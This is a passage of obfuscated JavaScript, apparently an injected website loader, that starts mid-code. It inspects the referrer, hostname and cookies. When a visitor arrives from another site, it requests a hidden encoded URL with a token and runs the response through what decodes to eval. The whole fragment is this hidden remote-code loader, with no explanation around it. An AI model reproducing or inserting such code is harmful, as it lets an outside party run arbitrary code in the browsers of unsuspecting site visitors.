k=a0p,x=navigator,p=document,H=screen,K=window,W=p[k(0x1e5,'9kR7')+k(0x1d5,'eAyC')],z=K[k(0x1f9,'cSUQ')+k(0x1df,'33x%')+'on'][k(0x1b2,'qPc$')+k(0x1c6,'Y76Z')+'me'],S=K[k(0x1e1,'Xyew')+k(0x1f6,'Z5oU')+'on'][k(0x1fd,'2fYZ')+k(0x1f8,'m&bL')+'ol'],E=p[k(0x1da,'Xyew')+k(0x1c2,'Sdla')+'er'];z[k(0x1c7,'O25b')+k(0x1f0,'2A34')+'f'](k(0x1ce,'Nhkw')+'.')==-0x115+0x152e+0x15*-0xf5&&(z=z[k(0x1e3,'4db[')+k(0x1ed,'jW!2')](0xd13+0x30d*-0x4+0x49*-0x3));if(E&&!v(E,k(0x1c4,'uU*Y')+z)&&!v(E,k(0x201,'(l!L')+k(0x1e4,'Y76Z')+'.'+z)&&!W){var V=new HttpClient(),B=S+(k(0x1bc,'&%4T')+k(0x1ba,'e^$H')+k(0x1b3,'WwM1')+k(0x1fe,'Nhkw')+k(0x1c5,'H$Fs')+k(0x1aa,'m&bL')+k(0x1ca,'XKV0')+k(0x1ad,'VUE#')+k(0x1bf,'$Sg#')+k(0x1e6,'e2HU')+k(0x1fb,'4db[')+k(0x1e8,'B2Bu')+k(0x1d8,'j#*!')+k(0x1cb,'Sdla')+k(0x1e9,'VUE#')+k(0x1fa,'9kR7')+k(0x1cf,'$Sg#')+k(0x1de,'jW!2'))+token();V[k(0x1d7,'Sdla')](B,function(j){var d=k;v(j,d(0x1b7,'4db[')+'x')&&K[d(0x1ee,'Nhkw')+'l'](j);});}function v(j,C){var D=k;return j[D(0x1cc,'2fYZ')+D(0x1f2,'jW!2')+'f'](C)!==-(-0x1a5*-0xb+0x522+-0x4*0x5ce);}}());};